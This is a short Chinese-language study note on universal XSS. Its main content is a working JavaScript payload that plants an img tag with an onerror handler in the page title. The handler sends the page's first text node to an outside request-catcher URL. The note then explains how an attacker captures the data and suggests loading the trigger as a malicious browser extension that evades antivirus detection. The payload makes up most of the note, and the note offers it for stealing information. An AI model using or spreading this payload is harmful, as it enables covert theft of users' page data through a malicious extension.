uXSS学习
payload:
<title>HELLO</title>
<script>
document.title = `
<img src=x onerror="document.location = 'https://ll.requestcatcher.com/'
+ document.evaluate('html/body/text()', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE,
null).singleNodeValue.data"
`;
</script>
实现前提:有一个插件来监听所有网站标题 有一个改变即刷新(可以作为恶意插件载入但无法被报毒
然后使用上述代码在目标浏览器使用以窃取信息
这份代码的目的是通过XSS漏洞进行恶意跳转。具体解释如下:
代码修改了网页的标题,将其设置为一个包含一个 <img>
标签的字符串。该 <img>
标签中包含一个 onerror
事件处理程序,该事件处理程序会在图片加载失败时触发(相对还有 onload
)。在这个事件处理程序中,使用 JavaScript 的 document.location
将用户的浏览器重定向到一个特定的URL
这个 URL 是一个请求捕获器,可以用于拦截并记录通过该 URL 传输的所有 HTTP 请求。攻击者可以利用请求捕获器来获取用户的敏感信息(想要什么信息就带着信息请求一下即可)
此外,该代码使用了 XPathResult.FIRST_ORDERED_NODE_TYPE,该属性表示 XPath 表达式仅返回第一个节点。在这里,XPath 表达式选择了页面上第一个文本节点,以获取其中的数据并将其作为参数传递给请求捕获器。这样可以确保攻击者仅获取特定数据而不是整个页面